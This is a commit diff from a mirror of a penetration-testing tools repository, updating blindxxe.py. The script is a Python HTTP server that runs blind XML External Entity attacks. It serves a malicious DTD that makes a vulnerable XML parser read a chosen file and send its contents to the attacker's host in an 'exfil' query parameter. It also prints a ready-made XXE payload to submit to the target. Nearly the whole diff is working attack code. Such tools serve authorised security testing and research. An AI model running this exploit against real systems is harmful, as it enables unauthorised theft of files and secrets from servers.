mirror of
https://github.com/mgeeky/Penetration-Testing-Tools.git
synced 2024-11-24 19:41:36 +01:00
Improved blindxxe.py
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parent
084d179e71
commit
06fcb6e6ff
@ -58,7 +58,13 @@ config = {
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EXFILTRATED_EVENT = threading.Event()
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def dbg(x):
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if config['debug']:
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print('[dbg] {}'.format(x))
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class BlindXXEServer(BaseHTTPRequestHandler):
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method = ''
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def response(self, **data):
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code = data.get('code', 200)
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@ -72,9 +78,11 @@ class BlindXXEServer(BaseHTTPRequestHandler):
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self.wfile.close()
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def do_GET(self):
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self.method = 'GET'
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self.request_handler(self)
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def do_POST(self):
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self.method = 'POST'
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self.request_handler(self)
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def log_message(self, format, *args):
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@ -83,28 +91,38 @@ class BlindXXEServer(BaseHTTPRequestHandler):
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def request_handler(self, request):
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global EXFILTRATED_EVENT
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print('[.] Incoming HTTP request from {}: {} {}'.format(
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self.client_address[0],
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request.method,
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request.path[:25]
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))
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path = urllib.unquote(request.path).decode('utf8')
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m = re.search('\/\?exfil=(.*)', path, re.MULTILINE)
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if m and request.command.lower() == 'get':
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data = path[len('/?exfil='):]
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print 'Exfiltrated %s:' % EXFIL_FILE
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print '-' * 30
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print urllib.unquote(data).decode('utf8')
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print '-' * 30 + '\n'
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print('\n[+] Exfiltrated %s:' % config['exfil-file'])
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print('-' * 30)
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print(urllib.unquote(data).decode('utf8'))
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print('-' * 30 + '\n')
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self.response(body='true')
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EXFILTRATED_EVENT.set()
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elif request.path.endswith('.dtd'):
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#print '[DEBUG] Sending malicious DTD file.'
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dbg('Sending malicious DTD file.')
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dtd = '''<!ENTITY %% param_exfil SYSTEM "%(exfil_file)s">
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<!ENTITY %% param_request "<!ENTITY exfil SYSTEM 'http://%(exfil_host)s/?exfil=%%param_exfil;'>">
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%%param_request;''' % {'exfil_file' : config['exfil-file'], 'exfil_host' : config['rhost']}
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<!ENTITY %% param_request "<!ENTITY exfil SYSTEM 'http://%(exfil_host)s:%(exfil_port)d/?exfil=%%param_exfil;'>">
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%%param_request;''' % {
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'exfil_file' : config['exfil-file'],
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'exfil_host' : config['rhost'],
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'exfil_port' : config['port']
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}
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self.response(content_type='text/xml', body=dtd)
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else:
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#print '[INFO] %s %s' % (request.command, request.path)
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dbg('%s %s' % (request.command, request.path))
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self.response(body='false')
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@ -134,6 +152,8 @@ def parseOptions(argv):
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config['rhost'] = args.rhost
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config['exfil-file'] = args.file
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print('[::] File to be exfiltrated: "{}"'.format(args.file))
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port = int(args.port)
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if port < 1 or port > 65535:
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Logger.err("Invalid port number. Must be in <1, 65535>")
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@ -145,7 +165,6 @@ def fetchRhost():
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global config
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config['rhost'] = socket.gethostbyname(socket.gethostname())
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def main(argv):
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global config
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@ -159,16 +178,24 @@ def main(argv):
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print('[+] Serving HTTP server on: ("{}", {})'.format(
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config['listen'], config['port']
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))
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print('[+] RHOST set to: {}'.format(config['rhost']))
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dbg('RHOST set to: {}'.format(config['rhost']))
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rhost = config['listen']
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if config['listen'] == '0.0.0.0':
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rhost = config['rhost']
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print('\n[>] Here, use the following XML to leverage Blind XXE vulnerability:')
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print('''
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===
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<?xml version="1.0"?>
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<!DOCTYPE foo SYSTEM "http://{}/test.dtd">
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<!DOCTYPE foo SYSTEM "http://{}:{}/test.dtd">
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<foo>&exfil;</foo>
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===
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'''.format(config['rhost']))
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PS: Don't forget to set:
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Content-Type: text/xml
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'''.format(rhost, config['port']))
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server = HTTPServer((config['listen'], config['port']), BlindXXEServer)
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thread = threading.Thread(target=server.serve_forever)
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